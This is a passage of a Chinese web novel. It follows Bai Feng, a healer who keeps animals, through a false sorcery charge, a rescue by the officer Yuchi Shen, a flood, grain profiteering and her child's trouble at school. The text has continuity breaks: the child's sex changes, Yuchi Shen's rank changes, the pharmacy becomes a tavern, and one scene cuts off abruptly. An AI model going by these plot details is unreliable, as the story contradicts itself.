“你就是白凤?”差役拿出一张公文,“县太爷有令,说你私养野兽,涉嫌妖术,让我们把你带回去问话。” 白凤愣了一下:“妖术?你们在说什么?” “少废话!”差役一挥手,“把人带走,还有那些畜生,一个都别放过!” 几个差役冲进院子,白凤想拦,被人一把推开。豆豆吓得大哭,抱着白凤的腿不放。 院子里的动物察觉到危险,老猴跳到树上,两只狼龇着牙低吼。差役们拿着网和绳子,把它们一个个抓住,关进笼子里。 “你们不能这样!”白凤挣扎着,“我没犯法,你们凭什么抓我?” “凭什么?”差役冷笑,“就凭县太爷的命令。老实点,别自找苦吃。” 白凤被绑住双手,推出了院子。豆豆追出来,被邻居拦住,小姑娘哭得撕心裂肺:“娘!娘!” 白凤回头看了一眼,心里又急又怒。 她被押到县衙,关进了牢房。那些动物也被关在隔壁的笼子里,老猴不停地叫,狼在笼子里来回踱步。 牢房里阴冷潮湿,白凤坐在角落里,脑子里飞快地转着。 她知道这事不对劲。 自己虽然养了些动物,但从来没伤过人,也没做过什么违法的事。县衙突然来抓她,还扣上妖术的罪名,这里面肯定有人在搞鬼。 沈冬梅。 白凤咬了咬牙,十有八九是那个女人搞的鬼。 外面传来脚步声,钱师爷走到牢房门口,隔着栏杆看着她:“白凤,你现在知道怕了吧?” 白凤抬起头:“是你在背后搞鬼?” 钱师爷笑了:“我只是秉公办事。你私养野兽,用妖术害人,这可是大罪。不过嘛,你要是肯把那些药方交出来,我可以在县太爷面前替你说几句好话。” 白凤明白了,这些人是冲着她的药方来的。 “我没有什么妖术,那些药方也是祖传的,不能给你们。”白凤的声音很平静。 钱师爷脸色一沉:“你别敬酒不吃吃罚酒。县太爷已经下令了,明天就要升堂审你。到时候上了刑具,你可别后悔。” 说完,他转身走了。 白凤坐在牢房里,闭上眼睛。 她不怕刑罚,但是担心豆豆。那孩子现在肯定吓坏了,也不知道有没有人照顾。 夜深了,牢房里只剩下老鼠的吱吱声。 白凤靠在墙上,突然听见外面有动静。她睁开眼,看见一个黑影出现在牢房门口。 “谁?”白凤警觉地站起来。 黑影走近了,借着微弱的月光,白凤看清了来人的脸。 是个年轻男人,穿着军服,腰间挂着佩刀。他的眼睛很亮,盯着白凤看了一会儿,突然笑了:“你就是白凤?” 白凤皱起眉:“你是谁?” “我叫尉迟深。”男人说,“听说你被抓了,我来看看。” 白凤愣了一下,这个名字她听说过。尉迟深是军中的千夫长,手下管着上千士兵,在这一带很有威望。 “你来看我做什么?”白凤问。 尉迟深没有直接回答,而是说:“你给李百夫长的妻子找的那味药,救了她的命。李百夫长是我的兄弟,他让我来看看,你有没有什么需要帮忙的。” 白凤心里一动:“你能帮我出去?” “能。”尉迟深说得很干脆,“不过我得先问你,你真的没用什么妖术?” 白凤摇头:“我只是懂得怎么跟动物相处,它们信任我,所以愿意帮我。这算什么妖术?” 尉迟深盯着她看了一会儿,点点头:“我信你。” 他转身走了,留下白凤一个人站在牢房里,心里升起一丝希望。 第二天一早,县衙升堂。 赵县令坐在堂上,钱师爷站在旁边,下面跪着白凤。 “白凤,你可知罪?”赵县令拍了惊堂木。 白凤抬起头:“我不知道自己犯了什么罪。” “你私养野兽,用妖术害人,还敢说不知罪?”赵县令冷笑,“来人,把证人带上来。” 几个差役押着一个男人上堂,那人正是沈家的远房侄子。他跪在地上,哆哆嗦嗦地说:“大人,小的亲眼看见,白凤用妖术控制那些野兽,还让它们去害人。” 白凤气笑了:“你胡说八道!上次下毒的是你,现在反倒来诬陷我?” “你还敢狡辩!”赵县令一拍桌子,“来人,给我打!” 两个差役上前,举起板子就要打。 就在这时,外面传来一阵马蹄声。 一个士兵冲进来,跪在堂下:“大人,尉迟千夫长到了。” 赵县令脸色一变,还没来得及说话,尉迟深已经大步走了进来。 他身后跟着十几个士兵,个个腰挎佩刀,气势逼人。 “赵大人,这是在审什么案子?”尉迟深站在堂下,声音不大,却让人不敢忽视。 赵县令勉强挤出笑容:“原来是尉迟千夫长,这是在审一个妖妇,与您无关。” “无关?”尉迟深笑了,“我听说,你们抓的这个人,是我军中兄弟的救命恩人。赵大人,你说这跟我有没有关系?” 赵县令脸色更难看了:“这……” “而且。”尉迟深往前走了一步,“我听说你们给她安的罪名是妖术?赵大人,你见过什么妖术?” 赵县令支支吾吾说不出话来。 尉迟深转头看向白凤:“你没事吧?” 白凤摇摇头。 尉迟深点点头,转身对赵县令说:“赵大人,这个人我带走了。她是我军中的朋友,要是有什么罪,也该由军法处置,轮不到你们县衙管。” 赵县令想反驳,但看着尉迟深身后那些士兵,硬是把话咽了回去。 尉迟深也不等他回答,直接让人给白凤松绑,带着她走出了县衙。 外面阳光刺眼,白凤眯了眯眼睛,深吸了一口气。 “谢谢你。”她对尉迟深说。 尉迟深摆摆手:“不用谢我,是李百夫长让我来的。不过……”他顿了顿,“你以后要小心点,这个赵县令不是好人,他肯定不会就这么算了。” 白凤点点头,心里已经有了打算。 白凤回到家的时候,豆豆正坐在门槛上哭。 小姑娘看见她,愣了一下,然后扑过来抱住她的腿:“娘!你回来了!” 白凤蹲下来,抱住豆豆:“娘没事,别怕。” 豆豆哭得更凶了,小手紧紧抓着白凤的衣服,好像怕她再消失。 第70章 倒台了? 尉迟深站在门外,看着这一幕,没有进去打扰。他让士兵把那些被关起来的动物都送了回来,老猴一出笼子就跳到白凤肩上,两只狼围着她转圈。 “你们都没事吧?”白凤摸了摸老猴的头,又拍了拍狼的脑袋。 动物们都很兴奋,院子里一时间热闹起来。 尉迟深走进院子,看着这些动物,眼里闪过一丝好奇:“你是怎么做到的?让这些野兽听你的话。” 白凤站起来,抱着豆豆:“没什么特别的,只是用心对它们,它们自然就信任你。” 尉迟深点点头,没再多问。他转身要走,白凤叫住了他:“尉迟千夫长,今天的事,我记住了。以后要是有什么需要帮忙的,尽管开口。” 尉迟深回头看了她一眼,笑了:“好,我记住了。” 他带着士兵离开了,院子里又恢复了平静。 白凤把豆豆抱进屋,给她擦了擦眼泪:“以后不许哭了,娘不会有事的。” 豆豆点点头,小手还是紧紧抓着白凤的衣服。 晚上,白凤坐在院子里,看着天上的星星。 她知道这事还没完。赵县令和钱师爷不会就这么放过她,沈冬梅更不会善罢甘休。今天虽然靠着尉迟深的帮助脱身,但下次呢?她不能总指望别人。 白凤想了很久,最后做了一个决定。 第二天一早,她带着豆豆去了军营。 李百夫长听说她来了,亲自出来迎接:“白大夫,你怎么来了?” 白凤说明来意,她想在军营附近开个药铺,专门给军中的人看病。这样一来,她有了军营的庇护,赵县令就不敢轻易动她。 李百夫长听了,立刻答应下来:“这是好事,我这就去跟千夫长说。” 尉迟深很快就来了,听完白凤的想法,他沉思片刻:“你确定要这么做?开药铺不是小事,而且你一个女人,带着孩子,会很辛苦。” “我不怕辛苦。”白凤说得很坚定,“我只是想给豆豆一个安稳的生活。” 尉迟深看着她,眼里闪过一丝欣赏:“好,我帮你。” 他让人在军营外面找了块地,帮白凤建起了药铺。药铺不大,但位置很好,就在军营门口,来往的人都能看见。 白凤把家里的药材都搬了过来,又让那些动物帮忙采了些新鲜的药材。药铺开张那天,李百夫长亲自来捧场,还带了不少士兵来买药。 生意很快就好起来了。 军营里的士兵经常受伤,需要药材。白凤的药效果好,价格又公道,很快就在军中传开了。连其他营的人都跑来买药,药铺门口每天都排着长队。 豆豆也帮着忙,小姑娘虽然年纪小,但很机灵,帮着抓药、算账,做得有模有样。 日子就这么一天天过去,白凤觉得生活终于有了盼头。 但她没想到,麻烦还是来了。 这天傍晚,药铺刚关门,钱师爷就带着几个人上门了。 “白凤,你倒是会找靠山。”钱师爷站在门口,脸上挂着冷笑,“不过你以为躲在军营旁边,我们就拿你没办法了?” 白凤站在门口,没有让他们进来:“你们想干什么?” “不想干什么。”钱师爷从怀里掏出一张纸,“这是县太爷的命令,说你的药铺没有官府的批文,属于非法经营。现在给你两个选择,要么关门,要么交罚款。” 白凤看了一眼那张纸,冷笑:“罚款多少?” “不多。”钱师爷伸出五根手指,“五十两银子。” 五十两银子,对白凤来说不是小数目。她这段时间虽然赚了些钱,但大部分都用来买药材和养家了,手里根本没有那么多现银。 “我没有那么多钱。”白凤说。 “没有?”钱师爷笑了,“那就关门吧。对了,你那些药材,也得充公。” 白凤握紧了拳头,正要说话,身后传来一个声音:“谁说她没有批文?” 尉迟深从军营里走出来,手里拿着一张公文:“这是军中开的批文,白凤的药铺是专门给军营供药的,受军法保护。钱师爷,你要是想查,先去找我们将军。” 钱师爷脸色一变,接过公文看了一眼,脸色更难看了。 这张批文是真的,上面还盖着将军的印章。有了这个,县衙根本管不着白凤的药铺。 “好,好得很。” 县衙大堂内,知县大人瘫坐在太师椅上,脸色灰败如死灰。 “大人,不好了!京城来人了,说是要彻查您贪墨赈灾款的事!”衙役慌慌张张跑进来,话音未落,外头已经传来整齐的脚步声。 师爷从后堂探出头,见势不妙,转身就往后门溜。他这些年跟着县太爷没少捞好处,账本上那些见不得光的数字,他比谁都清楚。 “站住!”领头的官差喝了一声,几个人已经追了上去。 师爷腿脚倒是利索,翻墙的功夫一流,眨眼就没了影。官差们追出去好一阵,最终只抓回来几个小喽啰。 县衙被查封,知县大人被押往京城候审。消息传开,整个镇子都炸了锅。 沈冬梅坐在家中,手里攥着帕子,眼泪一滴滴往下掉。她肚子已经显怀,这会儿正是进退两难的时候。 “表妹,别哭了。”她舅舅叹了口气,“我已经托人去京城打点了,保你们母子平安总是能做到的。” “舅舅,我这辈子算是完了。”沈冬梅抹着眼泪,“他做的那些事,我一点都不知道啊。” “知道又如何?不知道又如何?”舅舅摇摇头,“你现在最要紧的是保住肚子里的孩子,其他的以后再说。” 沈冬梅点点头,手抚着肚子,眼神空洞。 白凤听说这事的时候,正在院子里给新收养的几只小动物喂食。一只瘸腿的狗,两只被人丢弃的猫,还有一只翅膀受伤的喜鹊,都是这几天陆续捡回来的。 “县太爷倒台了?”她挑了挑眉,“倒是快。” 豆豆蹲在旁边,好奇地看着那只喜鹊,“娘,这鸟儿什么时候能飞?” “再养几天就好了。”白凤摸摸豆豆的头,“到时候它想走就让它走,想留就留下。” “那狗狗和猫猫呢?” “也一样。” 第71章 突然有了主意 豆豆似懂非懂地点点头,转身去逗那只瘸腿狗。狗倒是温顺,任由豆豆摸来摸去。两只猫却不太友好,见狗靠近就弓起背,喉咙里发出威胁的声音。 白凤看着这几只小东西,突然有了主意。 第二天,她就去找了里正,提出要把祖产要回来。 “白家那老宅子?”里正有些为难,“这事得去县衙办手续,可现在县衙…” “正因为现在县衙乱,才好办事。”白凤笑了笑,“里正,您帮我写个证明,证明那宅子本就是我白家的产业,当年是被人强占的。” 里正犹豫了一下,最终还是点了头。白家的事他知道,当年确实是被人欺负了。 拿着里正的证明,白凤又找了几个老人作证,很快就把祖产要了回来。那是个三进的大宅子,虽然年久失修,但架子还在。 “这么大的地方,正好用来养这些小东西。”白凤站在院子里,满意地点点头。 她把现在住的房子腾出来,专门用来收养那些被遗弃的动物。没几天,院子里就热闹起来。除了原来的狗猫鸟,又多了几只兔子,一只受伤的狐狸,还有一只不知道从哪里跑来的小鹿。 这些动物聚在一起,问题就来了。 狗想跟猫交朋友,猫却觉得狗太吵,动不动就亮爪子。兔子胆小,见到狐狸就躲,狐狸明明伤还没好,却总想去追兔子。小鹿最无辜,谁都不招惹,却总被其他动物误会,以为它要抢食。 白凤每天最大的乐趣,就是看这些小东西打架。 “娘,它们怎么又打起来了?”豆豆指着院子里一团乱麻。 “语言不通嘛。”白凤悠闲地嗑着瓜子,“狗叫汪汪,猫叫喵喵,鸟叫喳喳,谁也听不懂谁说什么,自然就容易起冲突。” “那怎么办?” “打着打着就习惯了。”白凤笑道,“再说了,它们也打不出什么大事来。” 话音刚落,那只狐狸就扑向了兔子。兔子吓得四处乱窜,撞翻了狗的食盆。狗不乐意了,冲着狐狸就是一顿狂吠。猫见狗叫得凶,以为狗要欺负自己,也跟着炸了毛。小鹿被吓得跳起来,一蹄子踢在喜鹊的笼子上,喜鹊扑腾着翅膀乱叫。 整个院子乱成一锅粥。 白凤看得津津有味,豆豆却急得直跺脚,“娘,你快管管啊!” “不用管。”白凤摆摆手,“你看,它们自己就停了。” 果然,闹了一阵,这些动物各自散开,该吃吃该睡睡,好像刚才什么都没发生过。 豆豆挠挠头,“真奇怪。” “不奇怪。”白凤站起身,“走,咱们去看看新宅子收拾得怎么样了。” 祖宅那边,白凤请了几个工匠在修缮。她打算把这里改造成一个真正的家,不再像现在这样挤在小院子里。 工匠们干活很卖力,不到半个月,房子就修得差不多了。白凤验收的时候,尉迟深突然出现在门口。 “你怎么来了?”白凤皱眉。 “我来接你回京。”尉迟深说得直接。 “我不去。”白凤转身就走。 尉迟深拦住她,“你就这么讨厌我?” “谈不上讨厌,也谈不上喜欢。”白凤看着他,“尉迟将军,咱们之间本来就没什么关系,你又何必纠缠?” “没什么关系?”尉迟深声音提高了些,“那天晚上…” “那天晚上是个意外。”白凤打断他,“我已经说得很清楚了,我不会跟你回京,也不会嫁给你。你走吧,别在这里浪费时间。” 尉迟深盯着她看了好一会儿,突然问,“是不是有人跟你说了什么?” 白凤愣了一下。 “是官家小姐吧?”尉迟深往前走了一步,“她跟你说了什么?说我跟她有婚约?还是说我只是玩玩你?” 白凤没说话,算是默认了。 尉迟深苦笑,“我就知道。白凤,你听我说,我跟她之间什么都没有。那个婚约是两家长辈定的,我从来没有答应过。至于玩玩你,更是无稽之谈。我尉迟深要是那种人,也不会追到这里来。” “那又如何?”白凤抬起头,“尉迟将军,我不是那种需要男人保护的女人。我有手有脚,能养活自己和孩子,不需要你的怜悯,也不需要你的负责。你走吧,回你的京城,过你的日子,咱们就当从来没见过。” 说完,她绕过尉迟深,头也不回地走了。 尉迟深站在原地,看着她的背影,拳头握得紧紧的。 尉迟深在镇上住了三天,每天都去白凤那里,每次都被拒之门外。 第四天,他终于死了心,收拾行李准备回京。 “将军,咱们真的要走?”副将有些不甘心,“那白姑娘…” “她不愿意跟我走,我总不能绑着她回去。”尉迟深翻身上马,“走吧。” 队伍刚出镇子十里,天色突然暗了下来。 “这天气不对啊。”副将抬头看天,“将军,要不咱们找个地方避避?” 话音未落,远处传来一阵轰隆隆的声音。 “不好,是山洪!”有人喊了起来。 尉迟深勒住马,回头看去,只见山谷里涌出一股浑浊的水流,裹挟着泥沙树木,气势汹汹地冲下来。 “快跑!” 队伍立刻调转方向,往高处奔去。可山洪来得太快,转眼就追上了后面几个人。 尉迟深眼疾手快,伸手拉住一个士兵,却被水流冲得踉跄了几步。副将赶紧过来帮忙,好不容易才把人拉上来。 等他们爬到高处,回头一看,山谷已经变成了一片泽国。 “这下麻烦了。”副将擦着额头上的水,“将军,咱们回不去了。” “先看看镇上的情况。”尉迟深眺望远方,心里突然涌起一股不安。 白凤,她还好吗? 镇上此时已经乱成一团。 山洪来得突然,许多人家都被淹了。白凤反应快,早早就带着豆豆和那些动物转移到了高处的祖宅。 “娘,那些人怎么办?”豆豆趴在窗口,看着下面水淹的街道。 “先保住自己再说。”白凤正在清点物资,“豆豆,去把米面都搬到楼上,还有那些腊肉,一样都不能少。” 豆豆乖乖去搬东西,白凤则在盘算接下来的事。 这场山洪来得蹊跷。她前世记得,这个时候确实有过一场灾,但没这么严重。难道是因为她的重生,改变了什么? 不对,应该是有人在上游动了手脚。 白凤眯起眼睛。如果她没猜错,这场灾背后肯定有人在搞鬼。而且,这些人的目的不仅仅是制造灾情,更是想借机发一笔横财。 第72章 排好队,一个一个来 “有意思。”她冷笑一声。 第二天,水势稍退,白凤就出门查看情况。镇上到处都是哭声,许多人家房子塌了,粮食也被冲走了。 “白姑娘,救救我们吧!”有人拉住她的衣角,“我家孩子都饿了两天了。” 白凤看了看那人,又看了看周围一圈期待的眼神,叹了口气,“行,你们先到我那里去,我给你们煮点粥。” 消息传开,很快就有一大群人涌到白凤的祖宅门口。 白凤让豆豆看着门,自己去厨房煮粥。她手脚麻利,不一会儿就煮了一大锅。 “排好队,一个一个来。”豆豆学着娘的样子,板着小脸维持秩序。 那些人倒也听话,老老实实排队领粥。白凤一边舀粥,一边观察这些人。 大部分都是镇上的老实人,但也有几个眼神闪烁,明显不怀好意。 “白姑娘真是好人啊。”有人感激地说。 “好人?”白凤笑了笑,“我可不是什么好人,只是看不得人饿死罢了。” 话虽如此,她心里却在盘算另一件事。 这场灾过后,粮价肯定会暴涨。如果她能提前囤一批粮食,不仅能救人,还能大赚一笔。 想到这里,白凤眼睛亮了起来。 就在这时,尉迟深出现在门口。 他浑身湿透,脸上还挂着泥,看起来狼狈极了。 “你怎么回来了?”白凤有些意外。 “我听说镇上发了水,担心你。”尉迟深看着她,“你还好吗?” “我好得很。”白凤转身继续舀粥,“倒是你,怎么搞成这样?” “路上遇到山洪,差点被冲走。”尉迟深走过来,“我能帮你做点什么吗?” 白凤看了他一眼,“去后院劈柴,煮粥要用。” 尉迟深二话不说,撸起袖子就去了。 豆豆偷偷拉了拉白凤的衣角,“娘,那个叔叔是谁?” “一个路过的。”白凤敷衍道。 豆豆眨眨眼,显然不信,但也没再多问。 接下来几天,尉迟深就住在白凤家里,帮着她一起救灾。他力气大,干活快,很快就赢得了镇上人的好感。 “白姑娘,这位爷是你相公吧?”有人打趣道。 “不是。”白凤面无表情。 “那是未婚夫?” “也不是。” “那是什么?” “就是个帮忙的。”白凤不想多解释,转身去忙别的事了。 尉迟深听到这话,心里有些苦涩,但也没说什么,继续埋头干活。 就在这时,王婆子突然冲了过来,指着白凤的鼻子就骂。 “白凤,你这个丧门星!我家两个女儿都是被你害死的!” 白凤皱眉,“王婆子,你说话要讲证据。” “还要什么证据!我家大妞二妞都是在你那里看病,结果都死了!不是你害的是谁害的!”王婆子哭得撕心裂肺。 周围的人开始窃窃私语。 “这事我听说过,好像确实是在白姑娘那里看的病。” “可白姑娘的医术不是挺好的吗?” “谁知道呢,说不定就是治死的。” 白凤脸色沉了下来,“王婆子,你家大妞是难产死的,我去的时候人已经不行了。二妞是得了急症,我让你赶紧送去县城,你舍不得钱,非要在家里拖着,最后人没了,你怪我?” “你胡说!明明是你医术不行!”王婆子不依不饶。 “够了!”尉迟深突然开口,声音冷得吓人,“王婆子,你家两个女儿怎么死的,镇上人都清楚。你现在来闹,不过是想讹白姑娘的钱罢了。” 王婆子被他的气势震住,愣了一下,随即又哭了起来,“你们都欺负我一个老婆子!我不活了!” 说着就要往墙上撞。 尉迟深眼疾手快,一把拉住她,“你要是真想死,我现在就成全你。但你要是想讹人,那就别怪我不客气。” 王婆子被他冰冷的眼神吓得打了个哆嗦,再也不敢闹了,灰溜溜地走了。 周围的人看着尉迟深,眼神里多了几分敬畏。 白凤看着他,心里突然有些复杂。 山洪过后,镇上的日子更难过了。粮食被冲走大半,剩下的也不够吃。 白凤每天煮粥施舍,自家的存粮也快见底了。 “娘,咱们的米不多了。”豆豆小声说。 “我知道。”白凤摸摸他的头,“再撑几天,等粮商来了就好了。” 可她心里清楚,粮商来了,粮价肯定会涨到天上去。到那时,这些穷人更买不起粮食。 她得想个办法。 当天晚上,白凤把尉迟深叫到书房。 “你在边关待过,应该知道那边的粮商吧?”她开门见山。 尉迟深点点头,“知道几个,怎么了?” “我想从他们那里买一批粮食。”白凤说,“但不是现在买,是提前订。” “提前订?”尉迟深有些不解。 “对。”白凤拿出一张纸,上面画着简单的地图,“你看,这次山洪虽然淹了咱们这里,但上游和下游都没事。那些地方的粮食肯定会涨价,粮商们会趁机囤货,等价格涨到最高再卖。” 尉迟深听懂了,“你是想在他们囤货之前,先把粮食买下来?” “没错。”白凤眼睛里闪着光,“而且我还知道,边关那边有人在搞鬼,想利用这次灾情发一笔横财。如果咱们能抢在他们前面,不仅能救人,还能大赚一笔。” 尉迟深盯着她看了好一会儿,“你怎么知道边关有人搞鬼?” “猜的。”白凤笑了笑,“这么大的灾,来得这么突然,不是人为就是天意。我不信天意,所以只能是人为。而能在边关动手脚的,除了那些贪官污吏,还能有谁?” 尉迟深沉默了。 他不得不承认,白凤说得有道理。而且,如果真的有人在边关搞鬼,那这件事就不是小事了。 “你需要我做什么?”他问。 “帮我联系粮商,越快越好。”白凤说,“另外,你在边关有没有可靠的人?我需要有人帮我盯着那边的动静。” “有。”尉迟深想了想,“我手下有几个兄弟在边关驻守,他们可以帮忙。” “那就好。”白凤松了口气,“事不宜迟,你现在就写信,让他们帮忙打听消息。” 尉迟深点点头,当即就写了几封信,让副将连夜送出去。 接下来的几天,白凤一边继续施粥,一边等消息。 尉迟深则带着人在镇上帮忙重建房屋。他虽然是将军,但干起活来一点都不含糊,很快就赢得了镇上人的尊敬。 “白姑娘,这位爷真是个好人。”有人感慨道,“你要是不嫁给他,可就亏大了。” 第73章 虽然忙碌,但却很充实 白凤笑而不语。 她对尉迟深的感觉确实在慢慢改变。这个男人虽然有时候有点霸道,但心地不坏,而且做事靠谱。 但她还是不想嫁人。 前世的经历让她对婚姻充满了戒备。她宁愿一个人带着豆豆过日子,也不想再经历一次背叛。 就在这时,边关的消息传了回来。 “将军,查到了。”副将压低声音,“边关那边确实有人在搞鬼,而且还不止一个。他们在上游修了个堤坝,故意放水淹了下游,就是为了制造灾情,好趁机囤粮抬价。” “是谁?”尉迟深脸色阴沉。 “领头的是镇北将军的副将,叫李成。”副将说,“他手下还有几个粮商,都是一伙的。” 尉迟深握紧了拳头,“好大的胆子!” “将军,咱们怎么办?”副将问。 “先别打草惊蛇。”尉迟深想了想,“你去告诉白姑娘,让她按计划行事。至于李成那边,我会亲自处理。” 副将领命而去。 白凤听到消息,眼睛亮了起来。 “果然是人为。”她冷笑一声,“既然他们想发财,那就别怪我截胡了。” 她立刻写了几封信,让人送到各地的粮商那里。信里的内容很简单,就是要提前订购一批粮食,价格比市价高一成,但要求立刻交货。 粮商们收到信,都有些犹豫。毕竟现在粮价还没涨,提前卖出去不划算。 但白凤给的价格确实诱人,而且她还承诺,如果粮价涨得更高,她愿意再加价。 这样一来,粮商们就动心了。反正现在粮食还在手里,卖给谁不是卖? 很快,就有几个粮商答应了。 白凤拿到粮食,立刻在镇上开了个粮铺,以平价卖给镇上的百姓。 “白姑娘,你这粮食哪来的?”有人好奇地问。 “买的。”白凤笑了笑,“趁着现在价格还没涨,多买点存着。” “你可真有先见之明。” 白凤没说话,心里却在盘算另一件事。 她手里的粮食虽然够镇上人吃一阵子,但还不够。她需要更多的粮食,不仅要救这里的人,还要在粮价暴涨之前,把那些粮商手里的粮食都买下来。 这样一来,等李成他们想囤粮抬价的时候,就会发现市面上根本没有粮食可买。 到那时,他们的计划就会彻底破产。 想到这里,白凤嘴角勾起一抹笑容。 尉迟深站在门口,看着她的笑容,心里突然涌起一股暖意。 这个女人,真的很不一般。 她聪明,果断,而且心地善良。虽然嘴上说不在乎别人,但实际上却在默默帮助那些需要帮助的人。 他越来越喜欢她了。 “在想什么?”白凤突然抬头,看到尉迟深站在门口。 “没什么。”尉迟深走过来,“粮食的事办得怎么样了?” “还不错。”白凤说,“再过几天,应该就能把那些粮商手里的粮食都买下来。到时候,李成他们就有好戏看了。” “你就不怕他们报复?”尉迟深有些担心。 “怕什么?”白凤不以为意,“他们要是敢来,我就让他们有来无回。” 尉迟深看着她自信的样子,突然笑了,“你还真是天不怕地不怕。” “怕有什么用?”白凤站起身,“与其怕,不如想办法解决问题。” 尉迟深点点头,心里对她的好感又增加了几分。 就在这时,豆豆突然跑了进来,“娘,那些小动物又打起来了!” 白凤叹了口气,“走,去看看。” 院子里,那些动物果然又闹成一团。狗追着猫跑,猫追着鸟跑,鸟追着兔子跑,兔子被狐狸追,狐狸被小鹿踢,小鹿又被狗吓到,整个院子乱成一锅粥。 尉迟深看得目瞪口呆,“它们这是在干什么?” “语言不通,误会呗。”白凤笑道,“不过也挺有意思的,你看,它们虽然打架,但谁也没真的伤到谁。” 尉迟深仔细一看,果然如此。这些动物虽然闹得凶,但都是点到为止,谁也没下狠手。 “它们这是在玩?”他有些不确定。 “算是吧。”白凤说,“动物也需要娱乐,打打闹闹就是它们的娱乐方式。” 尉迟深若有所思地点点头。 他突然觉得,和白凤在一起的日子,虽然忙碌,但却很充实,很快乐。 如果能一直这样下去,该多好。 尉迟深这些日子几乎天天往白凤家跑。 起初白凤还觉得奇怪,堂堂镇北将军怎么突然闲成这样,后来才发现他是冲着豆豆来的。 这人坐在院子里,豆豆就像小尾巴似的跟着,一会儿问他刀怎么耍,一会儿问他马怎么骑。尉迟深也不嫌烦,一板一眼地教,有时还会把豆豆扛在肩上,在院子里转圈。 豆豆笑得咯咯响,小手揪着尉迟深的头发当缰绳。 白凤靠在门框上看着,心里说不出是什么滋味。 “娘!你看我!”豆豆在尉迟深肩上挥手,“我骑大马!” “看见了,别摔下来。”白凤应了一声。 尉迟深把豆豆放下来,拍拍他的脑袋:“去找你娘,我有话跟她说。” 豆豆很听话地跑开了。 尉迟深走到白凤面前,神色有些复杂:“我后天要回京。” 白凤手里正剥着豆子,动作顿了顿:“这么快?” “边关暂时无事,皇上召我回去述职。”尉迟深看着她,“可能要过些日子才能回来。” “哦。”白凤继续剥豆子,“那你路上小心。” 尉迟深盯着她看了一会儿,突然笑了:“你就没别的话” “还能说什么?”白凤抬眼看他,“祝你一路顺风?” “豆豆会想我。” “那是他的事。” 尉迟深沉默片刻,转身要走,又停下来:“我会给他带礼物回来。” 白凤没接话。 第二天一早,尉迟深就来辞行了。豆豆抱着他的腿不撒手,眼眶红红的。 “男子汉不哭。”尉迟深蹲下来,认真地看着豆豆,“等我回来,教你骑真马。” “真的?”豆豆吸了吸鼻子。 “我什么时候骗过你?” 豆豆这才松开手,但还是一脸不舍。 尉迟深站起身,看向白凤。白凤正在院子里晾衣服,头也不回。 他张了张嘴,最终什么都没说,翻身上马走了。 豆豆站在门口看了很久,直到人影消失在路的尽头。 “行了,进来吃饭。”白凤叫他。 “娘,尉迟叔叔什么时候回来?” “不知道。” “他会不会不回来了?” 白凤手里的动作停了停:“会回来的。” 第74章 先生想说什么? 豆豆这才高兴起来,蹦蹦跳跳地进了屋。 白凤看着远方的路,心里空落落的。她摇摇头,把这种莫名其妙的情绪压下去。 尉迟深走后的第三天,白凤决定送豆豆去学堂。 豆豆已经五岁了,该认字读书了。镇上有个私塾,先生姓陈,据说学问不错。 白凤带着豆豆去报名,陈先生上下打量了她一番,眼神有些微妙。 “你就是白凤?” “正是。” “听说你一个女人家,带着孩子在镇上开酒楼?” “先生想说什么?”白凤听出他话里的意思。 陈先生捋着胡子:“倒也没什么,只是女子抛头露面,终究不太妥当。” 白凤笑了:“我若不抛头露面,孩子吃什么?先生这学费,我也交不起。” 陈先生噎了一下,挥挥手:“罢了罢了,孩子留下吧,明天开始上课。” 白凤交了银子,叮嘱豆豆几句,转身离开。 第二天傍晚,豆豆回来的时候,衣服脏兮兮的,脸上还有泥印子。 白凤皱眉:“怎么弄成这样?” 豆豆低着头不说话。 “有人欺负你?” 豆豆咬着嘴唇,眼泪在眼眶里打转。 白凤蹲下来,掰过他的肩膀:“说,谁欺负你了?” “他们说我没有爹,说我娘是开酒楼的,不要脸。”豆豆哽咽着,“还推我,抢我的点心。” 白凤心里一阵火起,但面上还算平静:“你打回去了吗?” 豆豆摇头:“他们人多。” “那明天多打几个。” 豆豆愣住了:“娘?” “别人欺负你,你就打回去。”白凤擦掉他脸上的泪,“打不过也要打,让他们知道你不好惹。” 豆豆似懂非懂地点头。 白凤想了想,又说:“算了,明天你骑黑熊去上学。” “真的?”豆豆眼睛一亮。 黑熊是白凤养的那头熊,这些年长得更大了,毛色油亮,看着就凶。平时拴在后院,偶尔会放出来溜达。 第二天早上,白凤真的让豆豆骑着黑熊去了学堂。 黑熊走得慢悠悠的,豆豆坐在它背上,小脸上满是得意。 学堂门口,一群孩子正在玩闹,看见黑熊都愣住了。 “熊!有熊!” “快跑!” 孩子们四散逃开,昨天欺负豆豆的几个更是吓得脸都白了。 豆豆从黑熊背上跳下来,拍拍它的脑袋:“你在这儿等我,别乱跑。” 黑熊打了个响鼻,乖乖趴在门口。 陈先生听到动静跑出来,看见黑熊差点没晕过去:“这这这,这是什么东西?” “我家的熊。”豆豆理直气壮,“我娘让它送我来的。” 陈先生嘴唇哆嗦了半天,最后挥挥手:“进去上课,快进去!” 这一天,再也没人敢欺负豆豆了。 放学的时候,豆豆骑着黑熊回家,一路上昂首挺胸,别提多神气了。 白凤看着他那副小模样,忍不住笑了。 “娘,他们都怕我了!”豆豆兴奋地说,“还有人想摸黑熊,我没让。” “嗯,做得对。”白凤揉揉他的头,“以后谁再欺负你,你就让黑熊吓唬他们。” 豆豆用力点头。 日子就这么平静地过了几天。 这天傍晚,白凤正在酒楼里算账,外面突然来了一辆破旧的马车。 车上下来两个人,正是白凤的舅舅舅妈。 白凤愣了一下,放下账本迎出去:“舅舅舅妈,你们怎么来了?” 舅妈一见她就哭上了:“凤儿啊,你可得救救我们!” 白凤心里一沉,扶着舅妈进了屋:“出什么事了?” 舅舅叹了口气,脸上满是愁容:“家里遭了灾,田地都淹了,颗粒无收。” “还欠了一屁股债。”舅妈抹着眼泪,“债主天天上门要钱,我们实在没办法了。” 白凤沉默了一会儿:“你们需要多少?” “五十两。”舅舅开口,“凤儿,舅舅知道这个数目不小,但我们真的走投无路了。” 五十两不算少,但白凤这些年攒了些积蓄,倒也拿得出来。 可她看着舅舅舅妈的样子,心里总觉得哪里不对。 “我考虑考虑。”白凤没有立刻答应。 舅妈脸色一变:“凤儿,你这是不肯帮我们?” “不是不帮,只是这笔钱不是小数目,我得想想。” “你现在开着酒楼,日子过得这么好,还差这点钱?”舅妈的声音尖锐起来,“当年你爹娘出事,要不是我们收留你,你早就饿死了!” 白凤眉头皱起来:“这个恩情我记得,但不代表我就该无条件地给钱。” “你这是什么话!”舅妈站起来,“白眼狼,我们白养你了!” 舅舅拉了拉舅妈:“行了,别说了。” 